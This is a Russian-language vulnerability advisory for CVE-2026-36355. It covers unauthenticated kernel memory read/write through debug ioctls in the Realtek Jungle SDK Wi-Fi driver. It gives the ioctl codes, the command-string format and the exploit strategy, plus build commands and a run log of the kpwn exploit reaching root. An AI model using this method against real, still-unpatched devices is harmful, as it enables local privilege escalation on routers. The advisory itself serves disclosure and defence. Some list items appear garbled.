
CVE-2026-36355: Realtek rtl819x Jungle SDK - Чтение/запись памяти ядра без аутентификации через отладочные ioctl
Драйвер Wi-Fi ядра rtl8192cd из не входящего в дерево ядра Realtek rtl819x «Jungle SDK» предоставляет два IOCTL — write_mem (0x89F5) и read_mem (0x89F6) — без каких-либо проверок контроля доступа. Любой локальный пользователь, способный открыть беспроводной сетевой интерфейс, обслуживаемый драйвером, может читать или записывать произвольную виртуальную память ядра, что напрямую приводит к получению прав root.
Обработчики активируются макросом _IOCTL_DEBUG_CMD_ в 8192cd_cfg.h, который определён безусловно (без #ifdef DEBUG), поэтому набор отладочных команд попадает во все рабочие сборки.
Референсный эксплойт (kpwn) получает uid=0 из непривилегированной оболочки без единого захардкоженного адреса — как раскладка task_struct, так и расположение init_task автоматически определяются во время выполнения, что делает его переносимым между версиями ядра и сборками OEM-производителей.
Уязвимость находится в драйвере Wi-Fi ядра Realtek rtl819x Jungle SDK во всех известных версиях вплоть до v3.4.14B. На момент раскрытия исправления нет. Драйверы rtlwifi / rtw88 / rtw89 из mainline Linux — это другие кодовые базы, и они не затронуты.
Общее ядро драйвера компилируется в несколько вариантов (rtl8192cd, rtl8192es, rtl8192ee, rtl8192fe, rtl8188ee и т. д.). Любая сборка Jungle SDK, включающая Wi-Fi драйвер, уязвима.
Realtek Jungle SDK широко распространяется по OEM-контрактам. Вендоры, перечисленные в списке вендоров CVE-2021-35395 (которая затрагивала другой, пользовательский компонент того же SDK), включают D-Link, TOTOLINK, Tenda, NEC, I-O DATA, Elecom, Buffalo, Humax, H3C и IP-COM. Выяснение того, поставляет ли каждая конкретная линейка продуктов уязвимый драйвер ядра, требует изучения исходников GPL, выпускаемых для каждого продукта; данное уведомление не утверждает этого без независимой проверки.
| Устройство | Ortel 4G LTE CPE (OEM: MeiG Smart FORGE_SLT711) |
| SoC | Qualcomm MDM9607, ARMv7 Cortex-A7 |
| Ядро | Linux 3.18.48 |
| Модуль |
Подтверждено: запись 0xDEADBEEF в .bss модуля с чтением обратно и восстановлением; полное локальное повышение привилегий с uid=1000 до uid=0 через обход init_task и перезапись учётных данных из непривилегированной оболочки.
В 8192cd_cfg.h:
#define _IOCTL_DEBUG_CMD_
Не обёрнуто в #ifdef DEBUG. Набор отладочных команд присутствует во всех рабочих сборках.
Диспетчер rtl_ioctl() драйвера направляет 0x89F5 и 0x89F6 (в стандартном диапазоне приватных IOCTL SIOCDEVPRIVATE+5/+6, используемом беспроводными драйверами для расширений вендора) в write_mem и read_mem. Обработчики разбирают строку, предоставленную пользователем:
dw,<addr>,<count> — чтение count 32-битных слов из виртуального адреса ядра addrdw,<addr>,<count>,<value> — запись count 32-битных слов значения value по адресу addrАдрес разбирается с помощью _atoi(base 16), передаётся в memcpy() для работы с виртуальным адресным пространством ядра, а результат возвращается через copy_to_user(). При этом:
capable()access_ok() на адресtmpbuf1) в .bssПримитив чтения ограничен 128 байтами за вызов; примитив записи принимает произвольную длину.
Тот же пробел в контроле доступа относится и к другим обработчикам в отладочном наборе (чтение/запись аппаратных регистров через 0x89F3/0x89F4/0x89F8–0x89FD, запись MIB через 0x89F1, чтение/запись eFuse, режим производственного тестирования). Они достижимы через тот же путь выполнения и требуют полного аудита от любого, кто исправляет эту ошибку.

Референсный эксплойт kpwn.c (опубликован вместе с данным уведомлением):
task_struct (comm, cred, tasks, pid) обходом init_task, который, в свою очередь, находится перебором по .data ядра./sys/class/net/* на наличие примитива чтения./proc/kallsyms доступен для чтения, ~7600 IOCTL при kptr_restrict=2 (полный путь сканирования .data). Безусловно даёт root-оболочку при каждом тестовом запуске.# Build:
arm-linux-gnueabi-gcc -static -O2 -o kpwn kpwn.c
# Run as unprivileged user:
$ id
uid=1000(pwn) gid=3003(inet) ...
$ /tmp/kpwn
kpwn — RTL8192CD kernel LPE
[*] Scanning interfaces...
[+] wlan0 — read primitive confirmed
[*] Resolving init_task...
[+] init_task @ 0xc08ecb38
[+] comm=0x3a8 cred=0x3a4 tasks=0x250 pid=0x2c0
[+] cred=0xed3a4500 uid=1000 gid=3003
[*] Overwriting credentials...
[+] uid=0 euid=0 gid=0 egid=0
*** GOT ROOT *** uid=1000 -> 0 (44 ioctls)
# id
uid=0(root) gid=0(root) groups=0(root)
rtl8192es.ko| Дата | 2026-02-23 |